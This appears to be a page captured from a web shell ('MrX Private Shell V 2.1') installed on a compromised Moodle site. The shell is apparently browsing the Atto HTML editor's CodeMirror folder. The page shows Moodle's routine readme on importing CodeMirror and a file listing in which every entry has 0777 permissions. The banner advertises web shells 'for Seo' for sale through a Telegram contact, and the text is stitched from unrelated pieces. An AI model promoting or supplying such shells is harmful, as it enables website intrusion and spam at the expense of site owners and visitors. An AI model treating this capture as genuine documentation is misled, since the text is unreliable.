__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
Description of importing the codemirror library into Moodle.
NOTE: To make it more readable, in this explanation [LIBRARYPATH] means:
[PATH TO YOUR MOODLE]/lib/editor/atto/plugins/html/yui/src/codemirror
1 Download the latest codemirror code somewhere (example /tmp/cm) using:
mkdir -p codemirror/node_modules
npm install --prefix codemirror codemirror@5 --save-dev
Note down the version number displayed by the command, to update thirdpartylibs.xml accordingly.
2 Then copy the following files to your local Moodle directory:
[CODEMIRRORPATH] = codemirror/node_modules
cp [CODEMIRRORPATH]/codemirror/lib/codemirror.js [LIBRARYPATH]/js
cp [CODEMIRRORPATH]/codemirror/mode/css/css.js [LIBRARYPATH]/js
cp [CODEMIRRORPATH]/codemirror/mode/htmlmixed/htmlmixed.js [LIBRARYPATH]/js
cp [CODEMIRRORPATH]/codemirror/mode/javascript/javascript.js [LIBRARYPATH]/js
cp [CODEMIRRORPATH]/codemirror/mode/xml/xml.js [LIBRARYPATH]/js
3 Rebuild the module by:
cd [PATH TO YOUR MOODLE]/lib/editor/atto/plugins/html/yui/src/
grunt shifter
4 Update the version number in (using the version noted down in #1):
[PATH TO YOUR MOODLE]/lib/editor/atto/plugins/html/thirdpartylibs.xml
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| assets | Folder | 0777 |
|
|
| js | Folder | 0777 |
|
|
| meta | Folder | 0777 |
|
|
| LICENSE | File | 1.09 KB | 0777 |
|
| build.json | File | 483 B | 0777 |
|
| readme_moodle.txt | File | 1.16 KB | 0777 |
|